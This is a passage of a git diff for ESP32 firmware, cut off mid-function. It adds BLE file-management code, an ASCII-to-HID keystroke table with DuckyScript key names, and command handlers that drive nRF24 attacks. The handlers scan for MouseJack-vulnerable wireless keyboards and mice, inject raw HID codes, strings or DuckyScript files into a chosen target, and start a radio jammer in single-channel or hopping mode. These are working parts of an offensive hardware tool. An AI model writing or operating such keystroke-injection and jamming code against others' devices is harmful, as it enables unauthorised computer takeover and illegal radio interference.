type, use rename (fast) + bool ok = false; + if (sourcePathType == destPathType) { + ok = srcFS.rename(pathBuffer.c_str(), destPathBuffer.c_str()); + } else { + // Cross-storage move: copy then delete + File sourceFile = srcFS.open(pathBuffer.c_str(), FILE_READ); + if (!sourceFile) { + sendBinaryFileActionResult(5, false, 10, pathBuffer.c_str()); + return false; + } + + File destFile = dstFS.open(destPathBuffer.c_str(), FILE_WRITE); + if (!destFile) { + sourceFile.close(); + sendBinaryFileActionResult(5, false, 11, destPathBuffer.c_str()); + return false; + } + + // Buffer-based file copy + if (!bufferedFileCopy(sourceFile, destFile)) { + ESP_LOGE("FileCommands", "Cross-storage copy failed"); + } + + sourceFile.close(); + destFile.close(); + + // Delete source file from source filesystem + ok = srcFS.remove(pathBuffer.c_str()); + } + + sendBinaryFileActionResult(5, ok, ok ? 0 : 6, destPathBuffer.c_str()); // 5=move, error 6=move failed + return ok; + } + + // Collect directory paths (recursive, stores paths for streaming) + static void collectDirectoryPaths(const char* basePath, std::vector& paths) { + char fatfsPath[256]; + snprintf(fatfsPath, sizeof(fatfsPath), "/sd%s", basePath); + + FF_DIR fatDir; + FILINFO fno; + FRESULT res = f_opendir(&fatDir, fatfsPath); + if (res != FR_OK) { + res = f_opendir(&fatDir, basePath); + if (res != FR_OK) { + return; + } + } + + uint16_t entriesProcessed = 0; + while (true) { + res = f_readdir(&fatDir, &fno); + if (res != FR_OK || fno.fname[0] == 0) { + break; + } + + // Skip . and .. + if (fno.fname[0] == '.' && (fno.fname[1] == '\0' || (fno.fname[1] == '.' && fno.fname[2] == '\0'))) { + continue; + } + + // Check if it's a directory + bool isDir = (fno.fname[0] != 0 && (fno.fattrib & AM_DIR) != 0); + + if (isDir) { + // Build full path + char dirPath[256]; + if (strcmp(basePath, "/") == 0) { + snprintf(dirPath, sizeof(dirPath), "/%s", fno.fname); + } else { + snprintf(dirPath, sizeof(dirPath), "%s/%s", basePath, fno.fname); + } + + // Add to paths list + paths.push_back(String(dirPath)); + + // Recurse into subdirectory + collectDirectoryPaths(dirPath, paths); + } + + entriesProcessed++; + // Yield every 10 entries to prevent watchdog timeout + if (entriesProcessed % 10 == 0) { + vTaskDelay(pdMS_TO_TICKS(5)); + } + } + + f_closedir(&fatDir); + } + + // Get directory tree (only directories, recursive) - STREAMING VERSION + // Format: [0xA2][pathType:1][flags:1][totalDirs:2][dirCount:2][paths...] + // flags: bit 0 (0x01) = hasMore, bit 7 (0x80) = error + // For each path: [pathLen:1][path:pathLen] + static bool handleGetDirectoryTree(const uint8_t* data, size_t len) { + if (len < 1) { + sendBinaryDirectoryTreeError(1); // error 1=insufficient data + return false; + } + + uint8_t pathType = data[0]; + buildBasePath(pathType, pathBuffer); + + ESP_LOGI("FileCommands", "Getting directory tree for pathType=%d, basePath='%s'", pathType, pathBuffer.c_str()); + + // Check memory + if (ESP.getFreeHeap() < 3000) { + sendBinaryDirectoryTreeError(1); // error 1=insufficient memory + return true; + } + + try { + // Collect all directory paths first + std::vector paths; + collectDirectoryPaths(pathBuffer.c_str(), paths); + + uint16_t totalDirs = paths.size(); + ESP_LOGI("FileCommands", "Collected %d directories, starting stream", totalDirs); + + // STREAMING: Use 2KB buffer, send multiple messages if needed + const size_t BUFFER_SIZE = 2048; + static uint8_t binaryBuffer[BUFFER_SIZE]; + + uint16_t dirsSent = 0; + size_t pathIndex = 0; + bool hasMorePaths = true; + + while (hasMorePaths) { + size_t bufferOffset = 0; + + // Build message header + binaryBuffer[bufferOffset++] = MSG_DIRECTORY_TREE; // 0xA2 + binaryBuffer[bufferOffset++] = pathType; + + size_t flagsOffset = bufferOffset++; + size_t totalDirsOffset = bufferOffset; + bufferOffset += 2; // totalDirs (2 bytes) + size_t dirCountOffset = bufferOffset; + bufferOffset += 2; // dirCount (2 bytes) + + uint16_t dirsInThisMessage = 0; + + // Add paths to buffer until full or all paths processed + while (pathIndex < paths.size() && bufferOffset < BUFFER_SIZE - 260) { // Leave 260 bytes margin for path + const String& path = paths[pathIndex]; + size_t pathLen = path.length(); + + if (pathLen > 255) pathLen = 255; // Limit path length + + // Check if path fits + if (bufferOffset + 1 + pathLen >= BUFFER_SIZE - 16) { + // Buffer full, send this message and continue with next + break; + } + + binaryBuffer[bufferOffset++] = (uint8_t)pathLen; + memcpy(binaryBuffer + bufferOffset, path.c_str(), pathLen); + bufferOffset += pathLen; + + dirsInThisMessage++; + dirsSent++; + pathIndex++; + } + + // Check if more paths remaining + hasMorePaths = (pathIndex < paths.size()); + + // Update flags and counts + binaryBuffer[flagsOffset] = hasMorePaths ? 0x01 : 0x00; + + // totalDirs: 0xFFFF if more coming, actual count if last message + if (hasMorePaths) { + binaryBuffer[totalDirsOffset] = 0xFF; + binaryBuffer[totalDirsOffset + 1] = 0xFF; + } else { + binaryBuffer[totalDirsOffset] = totalDirs & 0xFF; + binaryBuffer[totalDirsOffset + 1] = (totalDirs >> 8) & 0xFF; + } + + // dirCount (little-endian) + binaryBuffer[dirCountOffset] = dirsInThisMessage & 0xFF; + binaryBuffer[dirCountOffset + 1] = (dirsInThisMessage >> 8) & 0xFF; + + // Send this message + if (dirsInThisMessage > 0 || !hasMorePaths) { + clients.notifyAllBinary(NotificationType::FileSystem, binaryBuffer, bufferOffset); + ESP_LOGI("FileCommands", "Directory tree chunk: %d dirs (total sent: %d/%d)", + dirsInThisMessage, dirsSent, totalDirs); + + // Small delay to allow mobile app to process + if (hasMorePaths) { + vTaskDelay(pdMS_TO_TICKS(100)); + } + } + } + + ESP_LOGI("FileCommands", "Directory tree stream complete: %d directories sent", totalDirs); + return true; + + } catch (...) { + sendBinaryDirectoryTreeError(5); // error 5=unknown error + return true; + } + } + + // Send binary error response for directory tree + static void sendBinaryDirectoryTreeError(uint8_t errorCode) { + static uint8_t errorBuffer[16]; + size_t offset = 0; + + errorBuffer[offset++] = MSG_DIRECTORY_TREE; + errorBuffer[offset++] = 0; // pathType (unknown) + errorBuffer[offset++] = 0x80 | (errorCode & 0x7F); // Error flag + error code + errorBuffer[offset++] = 0; // totalDirs low = 0 + errorBuffer[offset++] = 0; // totalDirs high = 0 + errorBuffer[offset++] = 0; // dirCount low = 0 + errorBuffer[offset++] = 0; // dirCount high = 0 + + clients.notifyAllBinary(NotificationType::FileSystem, errorBuffer, offset); + } + + // File upload with chunking + // Note: Command 0x0D is no longer registered in CommandHandler + // Actual processing happens in BleAdapter::handleUploadChunk + // This method is kept for compatibility but should not be called + static bool handleUploadFile(const uint8_t* data, size_t len) { + // Command 0x0D is handled in BleAdapter::handleUploadChunk + // This method should not be called + return false; + } +}; +// Static buffers +JsonBuffer FileCommands::jsonBuffer; +PathBuffer FileCommands::pathBuffer; +LogBuffer FileCommands::logBuffer; + +#endif // FileCommands_h diff --git a/include/HidPayloads.h b/include/HidPayloads.h new file mode 100644 index 0000000..8a4863c --- /dev/null +++ b/include/HidPayloads.h @@ -0,0 +1,272 @@ +/** + * @file HidPayloads.h + * @brief HID keystroke definitions and ASCII-to-HID conversion table. + * + * Used by MouseJack for injecting keystrokes into vulnerable + * wireless mice/keyboards (Microsoft and Logitech protocols). + */ + +#ifndef HID_PAYLOADS_H +#define HID_PAYLOADS_H + +#include + +// ── HID Modifier Keys ────────────────────────────────────────── +#define HID_MOD_NONE 0x00 +#define HID_MOD_LCTRL 0x01 +#define HID_MOD_LSHIFT 0x02 +#define HID_MOD_LALT 0x04 +#define HID_MOD_LGUI 0x08 // Windows/Command key +#define HID_MOD_RCTRL 0x10 +#define HID_MOD_RSHIFT 0x20 +#define HID_MOD_RALT 0x40 +#define HID_MOD_RGUI 0x80 + +// ── HID Key Codes ─────────────────────────────────────────────── +#define HID_KEY_NONE 0x00 +#define HID_KEY_A 0x04 +#define HID_KEY_B 0x05 +#define HID_KEY_C 0x06 +#define HID_KEY_D 0x07 +#define HID_KEY_E 0x08 +#define HID_KEY_F 0x09 +#define HID_KEY_G 0x0A +#define HID_KEY_H 0x0B +#define HID_KEY_I 0x0C +#define HID_KEY_J 0x0D +#define HID_KEY_K 0x0E +#define HID_KEY_L 0x0F +#define HID_KEY_M 0x10 +#define HID_KEY_N 0x11 +#define HID_KEY_O 0x12 +#define HID_KEY_P 0x13 +#define HID_KEY_Q 0x14 +#define HID_KEY_R 0x15 +#define HID_KEY_S 0x16 +#define HID_KEY_T 0x17 +#define HID_KEY_U 0x18 +#define HID_KEY_V 0x19 +#define HID_KEY_W 0x1A +#define HID_KEY_X 0x1B +#define HID_KEY_Y 0x1C +#define HID_KEY_Z 0x1D +#define HID_KEY_1 0x1E +#define HID_KEY_2 0x1F +#define HID_KEY_3 0x20 +#define HID_KEY_4 0x21 +#define HID_KEY_5 0x22 +#define HID_KEY_6 0x23 +#define HID_KEY_7 0x24 +#define HID_KEY_8 0x25 +#define HID_KEY_9 0x26 +#define HID_KEY_0 0x27 +#define HID_KEY_ENTER 0x28 +#define HID_KEY_ESCAPE 0x29 +#define HID_KEY_BACKSPACE 0x2A +#define HID_KEY_TAB 0x2B +#define HID_KEY_SPACE 0x2C +#define HID_KEY_MINUS 0x2D +#define HID_KEY_EQUAL 0x2E +#define HID_KEY_LBRACKET 0x2F +#define HID_KEY_RBRACKET 0x30 +#define HID_KEY_BACKSLASH 0x31 +#define HID_KEY_SEMICOLON 0x33 +#define HID_KEY_QUOTE 0x34 +#define HID_KEY_GRAVE 0x35 +#define HID_KEY_COMMA 0x36 +#define HID_KEY_PERIOD 0x37 +#define HID_KEY_SLASH 0x38 +#define HID_KEY_CAPSLOCK 0x39 +#define HID_KEY_F1 0x3A +#define HID_KEY_F2 0x3B +#define HID_KEY_F3 0x3C +#define HID_KEY_F4 0x3D +#define HID_KEY_F5 0x3E +#define HID_KEY_F6 0x3F +#define HID_KEY_F7 0x40 +#define HID_KEY_F8 0x41 +#define HID_KEY_F9 0x42 +#define HID_KEY_F10 0x43 +#define HID_KEY_F11 0x44 +#define HID_KEY_F12 0x45 +#define HID_KEY_DELETE 0x4C +#define HID_KEY_RIGHT 0x4F +#define HID_KEY_LEFT 0x50 +#define HID_KEY_DOWN 0x51 +#define HID_KEY_UP 0x52 + +// ── ASCII to HID Conversion ──────────────────────────────────── +// Each entry: { modifier, keycode } +// Index = ASCII value (printable range 0x20-0x7E) +struct HidKeyEntry { + uint8_t modifier; + uint8_t keycode; +}; + +/** + * Convert ASCII character to HID modifier + keycode. + * @param ascii Printable ASCII char (0x20-0x7E) + * @param entry Output HID key entry + * @return true if character is mappable + */ +inline bool asciiToHid(char ascii, HidKeyEntry& entry) { + // US keyboard layout mapping + static const HidKeyEntry asciiMap[] = { + // 0x20 ' ' + {HID_MOD_NONE, HID_KEY_SPACE}, + // 0x21 '!' + {HID_MOD_LSHIFT, HID_KEY_1}, + // 0x22 '"' + {HID_MOD_LSHIFT, HID_KEY_QUOTE}, + // 0x23 '#' + {HID_MOD_LSHIFT, HID_KEY_3}, + // 0x24 '$' + {HID_MOD_LSHIFT, HID_KEY_4}, + // 0x25 '%' + {HID_MOD_LSHIFT, HID_KEY_5}, + // 0x26 '&' + {HID_MOD_LSHIFT, HID_KEY_7}, + // 0x27 ''' + {HID_MOD_NONE, HID_KEY_QUOTE}, + // 0x28 '(' + {HID_MOD_LSHIFT, HID_KEY_9}, + // 0x29 ')' + {HID_MOD_LSHIFT, HID_KEY_0}, + // 0x2A '*' + {HID_MOD_LSHIFT, HID_KEY_8}, + // 0x2B '+' + {HID_MOD_LSHIFT, HID_KEY_EQUAL}, + // 0x2C ',' + {HID_MOD_NONE, HID_KEY_COMMA}, + // 0x2D '-' + {HID_MOD_NONE, HID_KEY_MINUS}, + // 0x2E '.' + {HID_MOD_NONE, HID_KEY_PERIOD}, + // 0x2F '/' + {HID_MOD_NONE, HID_KEY_SLASH}, + // 0x30-0x39: '0'-'9' + {HID_MOD_NONE, HID_KEY_0}, {HID_MOD_NONE, HID_KEY_1}, + {HID_MOD_NONE, HID_KEY_2}, {HID_MOD_NONE, HID_KEY_3}, + {HID_MOD_NONE, HID_KEY_4}, {HID_MOD_NONE, HID_KEY_5}, + {HID_MOD_NONE, HID_KEY_6}, {HID_MOD_NONE, HID_KEY_7}, + {HID_MOD_NONE, HID_KEY_8}, {HID_MOD_NONE, HID_KEY_9}, + // 0x3A ':' + {HID_MOD_LSHIFT, HID_KEY_SEMICOLON}, + // 0x3B ';' + {HID_MOD_NONE, HID_KEY_SEMICOLON}, + // 0x3C '<' + {HID_MOD_LSHIFT, HID_KEY_COMMA}, + // 0x3D '=' + {HID_MOD_NONE, HID_KEY_EQUAL}, + // 0x3E '>' + {HID_MOD_LSHIFT, HID_KEY_PERIOD}, + // 0x3F '?' + {HID_MOD_LSHIFT, HID_KEY_SLASH}, + // 0x40 '@' + {HID_MOD_LSHIFT, HID_KEY_2}, + // 0x41-0x5A: 'A'-'Z' + {HID_MOD_LSHIFT, HID_KEY_A}, {HID_MOD_LSHIFT, HID_KEY_B}, + {HID_MOD_LSHIFT, HID_KEY_C}, {HID_MOD_LSHIFT, HID_KEY_D}, + {HID_MOD_LSHIFT, HID_KEY_E}, {HID_MOD_LSHIFT, HID_KEY_F}, + {HID_MOD_LSHIFT, HID_KEY_G}, {HID_MOD_LSHIFT, HID_KEY_H}, + {HID_MOD_LSHIFT, HID_KEY_I}, {HID_MOD_LSHIFT, HID_KEY_J}, + {HID_MOD_LSHIFT, HID_KEY_K}, {HID_MOD_LSHIFT, HID_KEY_L}, + {HID_MOD_LSHIFT, HID_KEY_M}, {HID_MOD_LSHIFT, HID_KEY_N}, + {HID_MOD_LSHIFT, HID_KEY_O}, {HID_MOD_LSHIFT, HID_KEY_P}, + {HID_MOD_LSHIFT, HID_KEY_Q}, {HID_MOD_LSHIFT, HID_KEY_R}, + {HID_MOD_LSHIFT, HID_KEY_S}, {HID_MOD_LSHIFT, HID_KEY_T}, + {HID_MOD_LSHIFT, HID_KEY_U}, {HID_MOD_LSHIFT, HID_KEY_V}, + {HID_MOD_LSHIFT, HID_KEY_W}, {HID_MOD_LSHIFT, HID_KEY_X}, + {HID_MOD_LSHIFT, HID_KEY_Y}, {HID_MOD_LSHIFT, HID_KEY_Z}, + // 0x5B '[' + {HID_MOD_NONE, HID_KEY_LBRACKET}, + // 0x5C '\' + {HID_MOD_NONE, HID_KEY_BACKSLASH}, + // 0x5D ']' + {HID_MOD_NONE, HID_KEY_RBRACKET}, + // 0x5E '^' + {HID_MOD_LSHIFT, HID_KEY_6}, + // 0x5F '_' + {HID_MOD_LSHIFT, HID_KEY_MINUS}, + // 0x60 '`' + {HID_MOD_NONE, HID_KEY_GRAVE}, + // 0x61-0x7A: 'a'-'z' + {HID_MOD_NONE, HID_KEY_A}, {HID_MOD_NONE, HID_KEY_B}, + {HID_MOD_NONE, HID_KEY_C}, {HID_MOD_NONE, HID_KEY_D}, + {HID_MOD_NONE, HID_KEY_E}, {HID_MOD_NONE, HID_KEY_F}, + {HID_MOD_NONE, HID_KEY_G}, {HID_MOD_NONE, HID_KEY_H}, + {HID_MOD_NONE, HID_KEY_I}, {HID_MOD_NONE, HID_KEY_J}, + {HID_MOD_NONE, HID_KEY_K}, {HID_MOD_NONE, HID_KEY_L}, + {HID_MOD_NONE, HID_KEY_M}, {HID_MOD_NONE, HID_KEY_N}, + {HID_MOD_NONE, HID_KEY_O}, {HID_MOD_NONE, HID_KEY_P}, + {HID_MOD_NONE, HID_KEY_Q}, {HID_MOD_NONE, HID_KEY_R}, + {HID_MOD_NONE, HID_KEY_S}, {HID_MOD_NONE, HID_KEY_T}, + {HID_MOD_NONE, HID_KEY_U}, {HID_MOD_NONE, HID_KEY_V}, + {HID_MOD_NONE, HID_KEY_W}, {HID_MOD_NONE, HID_KEY_X}, + {HID_MOD_NONE, HID_KEY_Y}, {HID_MOD_NONE, HID_KEY_Z}, + // 0x7B '{' + {HID_MOD_LSHIFT, HID_KEY_LBRACKET}, + // 0x7C '|' + {HID_MOD_LSHIFT, HID_KEY_BACKSLASH}, + // 0x7D '}' + {HID_MOD_LSHIFT, HID_KEY_RBRACKET}, + // 0x7E '~' + {HID_MOD_LSHIFT, HID_KEY_GRAVE}, + }; + + if (ascii < 0x20 || ascii > 0x7E) { + entry.modifier = HID_MOD_NONE; + entry.keycode = HID_KEY_NONE; + return false; + } + + entry = asciiMap[ascii - 0x20]; + return true; +} + +// ── DuckyScript Key Names ─────────────────────────────────────── + +struct DuckyKeyMapping { + const char* name; + uint8_t modifier; + uint8_t keycode; +}; + +static const DuckyKeyMapping DUCKY_KEYS[] = { + {"ENTER", HID_MOD_NONE, HID_KEY_ENTER}, + {"RETURN", HID_MOD_NONE, HID_KEY_ENTER}, + {"ESCAPE", HID_MOD_NONE, HID_KEY_ESCAPE}, + {"ESC", HID_MOD_NONE, HID_KEY_ESCAPE}, + {"BACKSPACE", HID_MOD_NONE, HID_KEY_BACKSPACE}, + {"TAB", HID_MOD_NONE, HID_KEY_TAB}, + {"SPACE", HID_MOD_NONE, HID_KEY_SPACE}, + {"CAPSLOCK", HID_MOD_NONE, HID_KEY_CAPSLOCK}, + {"DELETE", HID_MOD_NONE, HID_KEY_DELETE}, + {"DEL", HID_MOD_NONE, HID_KEY_DELETE}, + {"UP", HID_MOD_NONE, HID_KEY_UP}, + {"DOWN", HID_MOD_NONE, HID_KEY_DOWN}, + {"LEFT", HID_MOD_NONE, HID_KEY_LEFT}, + {"RIGHT", HID_MOD_NONE, HID_KEY_RIGHT}, + {"F1", HID_MOD_NONE, HID_KEY_F1}, + {"F2", HID_MOD_NONE, HID_KEY_F2}, + {"F3", HID_MOD_NONE, HID_KEY_F3}, + {"F4", HID_MOD_NONE, HID_KEY_F4}, + {"F5", HID_MOD_NONE, HID_KEY_F5}, + {"F6", HID_MOD_NONE, HID_KEY_F6}, + {"F7", HID_MOD_NONE, HID_KEY_F7}, + {"F8", HID_MOD_NONE, HID_KEY_F8}, + {"F9", HID_MOD_NONE, HID_KEY_F9}, + {"F10", HID_MOD_NONE, HID_KEY_F10}, + {"F11", HID_MOD_NONE, HID_KEY_F11}, + {"F12", HID_MOD_NONE, HID_KEY_F12}, + // Modifiers as standalone keys (for DuckyScript "GUI r" etc.) + {"GUI", HID_MOD_LGUI, HID_KEY_NONE}, + {"WINDOWS", HID_MOD_LGUI, HID_KEY_NONE}, + {"CTRL", HID_MOD_LCTRL, HID_KEY_NONE}, + {"CONTROL", HID_MOD_LCTRL, HID_KEY_NONE}, + {"SHIFT", HID_MOD_LSHIFT,HID_KEY_NONE}, + {"ALT", HID_MOD_LALT, HID_KEY_NONE}, + {nullptr, 0, 0} // Sentinel +}; + +#endif // HID_PAYLOADS_H diff --git a/include/NrfCommands.h b/include/NrfCommands.h new file mode 100644 index 0000000..da7cf63 --- /dev/null +++ b/include/NrfCommands.h @@ -0,0 +1,425 @@ +/** + * @file NrfCommands.h + * @brief BLE command handlers for all NRF24 features. + * + * Registers command IDs 0x20-0x2F for MouseJack, Spectrum, and Jammer. + * Follows the same CommandHandler pattern as StateCommands, BruterCommands, etc. + * + * Command protocol: + * 0x20 = NRF_INIT β€” Initialize nRF24 module + * 0x21 = NRF_SCAN_START β€” Start MouseJack scan + * 0x22 = NRF_SCAN_STOP β€” Stop scan + * 0x23 = NRF_SCAN_STATUS β€” Get scan state and target list + * 0x24 = NRF_ATTACK_HID β€” Inject raw HID codes + * 0x25 = NRF_ATTACK_STRING β€” Inject ASCII string + * 0x26 = NRF_ATTACK_DUCKY β€” Execute DuckyScript from SD + * 0x27 = NRF_ATTACK_STOP β€” Stop attack + * 0x28 = NRF_SPECTRUM_START β€” Start spectrum analyzer + * 0x29 = NRF_SPECTRUM_STOP β€” Stop spectrum analyzer + * 0x2A = NRF_JAM_START β€” Start jammer (mode in payload) + * 0x2B = NRF_JAM_STOP β€” Stop jammer + * 0x2C = NRF_JAM_SET_MODE β€” Change jammer mode + * 0x2D = NRF_JAM_SET_CH β€” Change jammer channel + * 0x2E = NRF_CLEAR_TARGETS β€” Clear target list + * 0x2F = NRF_STOP_ALL β€” Stop all NRF tasks (cleanup on screen exit) + * + * 0x41 = NRF_SETTINGS β€” Apply nRF24 radio settings (PA, data rate, channel, retransmit) + */ + +#ifndef NRF_COMMANDS_H +#define NRF_COMMANDS_H + +#include +#include "core/ble/CommandHandler.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "modules/nrf/NrfModule.h" +#include "modules/nrf/MouseJack.h" +#include "modules/nrf/NrfSpectrum.h" +#include "modules/nrf/NrfJammer.h" +#include "ConfigManager.h" +#include "esp_log.h" + +class NrfCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x20, handleInit); + handler.registerCommand(0x21, handleScanStart); + handler.registerCommand(0x22, handleScanStop); + handler.registerCommand(0x23, handleScanStatus); + handler.registerCommand(0x24, handleAttackHid); + handler.registerCommand(0x25, handleAttackString); + handler.registerCommand(0x26, handleAttackDucky); + handler.registerCommand(0x27, handleAttackStop); + handler.registerCommand(0x28, handleSpectrumStart); + handler.registerCommand(0x29, handleSpectrumStop); + handler.registerCommand(0x2A, handleJamStart); + handler.registerCommand(0x2B, handleJamStop); + handler.registerCommand(0x2C, handleJamSetMode); + handler.registerCommand(0x2D, handleJamSetChannel); + handler.registerCommand(0x2E, handleClearTargets); + handler.registerCommand(0x2F, handleStopAll); + handler.registerCommand(0x41, handleNrfSettings); + } + +private: + // ── 0x20: Initialize NRF module ───────────────────────────── + static bool handleInit(const uint8_t* data, size_t len) { + bool ok = NrfModule::init(); + if (ok) { + MouseJack::init(); + } + + // Response: [MSG_COMMAND_SUCCESS/ERROR][nrf_present:1] + uint8_t resp[2]; + resp[0] = ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR; + resp[1] = NrfModule::isPresent() ? 1 : 0; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x21: Start MouseJack scan ────────────────────────────── + static bool handleScanStart(const uint8_t* data, size_t len) { + // Check if any NRF operation is already running + if (MouseJack::isRunning() || NrfSpectrum::isRunning() || NrfJammer::isRunning()) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 1 }; // Busy + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + bool ok = MouseJack::startScan(); + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x22: Stop scan ───────────────────────────────────────── + static bool handleScanStop(const uint8_t* data, size_t len) { + MouseJack::stopScan(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x23: Get scan status and target list ─────────────────── + static bool handleScanStatus(const uint8_t* data, size_t len) { + // Response: [NRF_SCAN_STATUS_RESP][state:1][targetCount:1] + // then for each target: [type:1][channel:1][addrLen:1][addr:N] + uint8_t targetCount = MouseJack::getTargetCount(); + const MjTarget* targets = MouseJack::getTargets(); + + // Calculate response size + size_t respSize = 3; // header + state + count + for (uint8_t i = 0; i < targetCount; i++) { + if (targets[i].active) { + respSize += 3 + targets[i].addrLen; // type + ch + addrLen + addr + } + } + + uint8_t* resp = new uint8_t[respSize]; + resp[0] = MSG_NRF_SCAN_STATUS; + resp[1] = (uint8_t)MouseJack::getState(); + resp[2] = targetCount; + + size_t offset = 3; + for (uint8_t i = 0; i < targetCount; i++) { + if (targets[i].active) { + resp[offset++] = (uint8_t)targets[i].type; + resp[offset++] = targets[i].channel; + resp[offset++] = targets[i].addrLen; + memcpy(resp + offset, targets[i].address, targets[i].addrLen); + offset += targets[i].addrLen; + } + } + + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, offset); + delete[] resp; + return true; + } + + // ── 0x24: Attack with raw HID payload ─────────────────────── + // Payload: [targetIndex:1][hidData:N] + static bool handleAttackHid(const uint8_t* data, size_t len) { + if (len < 3) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; // Bad payload + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + uint8_t targetIdx = data[0]; + bool ok = MouseJack::startAttack(targetIdx, data + 1, len - 1); + + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x25: Attack with ASCII string ────────────────────────── + // Payload: [targetIndex:1][strLen:1][string:N] + static bool handleAttackString(const uint8_t* data, size_t len) { + if (len < 3) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + uint8_t targetIdx = data[0]; + uint8_t strLen = data[1]; + if (len < (size_t)(2 + strLen)) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + // Null-terminate the string + char* str = new char[strLen + 1]; + memcpy(str, data + 2, strLen); + str[strLen] = '\0'; + + bool ok = MouseJack::injectString(targetIdx, str); + delete[] str; + + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x26: Execute DuckyScript ─────────────────────────────── + // Payload: [targetIndex:1][pathLen:1][path:N] + static bool handleAttackDucky(const uint8_t* data, size_t len) { + if (len < 3) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + uint8_t targetIdx = data[0]; + uint8_t pathLen = data[1]; + if (len < (size_t)(2 + pathLen)) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + char* path = new char[pathLen + 1]; + memcpy(path, data + 2, pathLen); + path[pathLen] = '\0'; + + bool ok = MouseJack::executeDuckyScript(targetIdx, path); + delete[] path; + + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x27: Stop attack ─────────────────────────────────────── + static bool handleAttackStop(const uint8_t* data, size_t len) { + MouseJack::stopAttack(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x28: Start spectrum analyzer ─────────────────────────── + static bool handleSpectrumStart(const uint8_t* data, size_t len) { + if (MouseJack::isRunning() || NrfJammer::isRunning()) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 1 }; // NRF busy + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + bool ok = NrfSpectrum::start(); + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x29: Stop spectrum analyzer ──────────────────────────── + static bool handleSpectrumStop(const uint8_t* data, size_t len) { + NrfSpectrum::stop(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x2A: Start jammer ────────────────────────────────────── + // Payload: [mode:1] or [mode:1][channel:1] for SINGLE + // or [mode:1][startCh:1][stopCh:1][step:1] for HOPPER + static bool handleJamStart(const uint8_t* data, size_t len) { + if (MouseJack::isRunning() || NrfSpectrum::isRunning()) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 1 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + if (len < 1) { + uint8_t resp[] = { MSG_COMMAND_ERROR, 2 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return false; + } + + NrfJamMode mode = (NrfJamMode)data[0]; + bool ok = false; + + if (mode == NRF_JAM_SINGLE && len >= 2) { + ok = NrfJammer::startSingleChannel(data[1]); + } else if (mode == NRF_JAM_HOPPER && len >= 4) { + NrfHopperConfig config; + config.startChannel = data[1]; + config.stopChannel = data[2]; + config.stepSize = data[3]; + ok = NrfJammer::startHopper(config); + } else { + ok = NrfJammer::start(mode); + } + + uint8_t resp[] = { ok ? MSG_COMMAND_SUCCESS : MSG_COMMAND_ERROR, 0 }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return ok; + } + + // ── 0x2B: Stop jammer ─────────────────────────────────────── + static bool handleJamStop(const uint8_t* data, size_t len) { + NrfJammer::stop(); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, resp, sizeof(resp)); + return true; + } + + // ── 0x2C: Change jammer mode ──────────────────────────────── + // Payload: [mode:1] + static bool handleJamSetMode(const uint8_t* data, size_t len) { + if (len < 1) return false; + NrfJammer::setMode((NrfJamMode)data[0]); + uint8_t resp[] = { MSG_COMMAND_SUCCESS }; + 